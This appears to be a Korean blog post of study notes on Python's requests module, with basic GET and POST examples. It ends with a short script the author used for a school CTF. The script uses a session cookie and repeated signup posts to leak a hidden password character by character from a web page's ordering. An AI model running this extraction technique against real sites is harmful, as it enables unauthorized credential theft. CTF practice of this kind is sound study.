ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Request모듈
    공부/Python 2020. 2. 22. 08:30

    Python request 모듈

     

    import requests

     

    url = 'https://doraeul19.tistory.com'

    response = requests.get(url)

    response.text

    response.status_code

     

    값 전달 : params = {'파라미터1': '값1', '파라미터2': '값2'}

     

    GET : requests.get(url, params=params)

    POST : request.post(url, cookies="쿠키값", data=params)

     

     


    예시

    더보기

    ex )

    import requests
    cookie = {'PHPSESSID':"쿠기값"}
    url="http://url.php"
    signup="http://signup.php"
    
    old_username=""
    username=""
    pw=""
    list="0123456789abcdefghijklmnopqrstuvwxyz"
    #datas
    
    for i in range(0,50,1):
        for j in range(0,len(list)):
            nick=str(i)+"!"+"wkt"+"!"+str(j)
            word=pw+list[j]
            datas = {'nick':nick,'word':word,'words':word,'mail':'m'}
            signup_page = requests.post(signup,cookies=cookie,data=datas)
            page = requests.post(url, cookies=cookie)
            x = (page.text).find(nick)
            y = (page.text).find("<th>2147483647</th>")
            if(x < y):
                continue
            elif(x > y):
                word=pw+list[j-1]
                break
            print(word)
        print(":"+pw)
        pw=word

     

    교내 ctf풀이를 위해 이용했던 코드

     

    '공부 > Python' 카테고리의 다른 글

    파이썬 sorted, 다중 조건 정렬  (0) 2021.01.24
    파이썬 re 모듈  (0) 2021.01.02
    XPath  (0) 2020.05.21
    네이버 자동 로그인(selenium)  (0) 2020.05.21
    python 가변인자  (0) 2020.05.19
Designed by Tistory.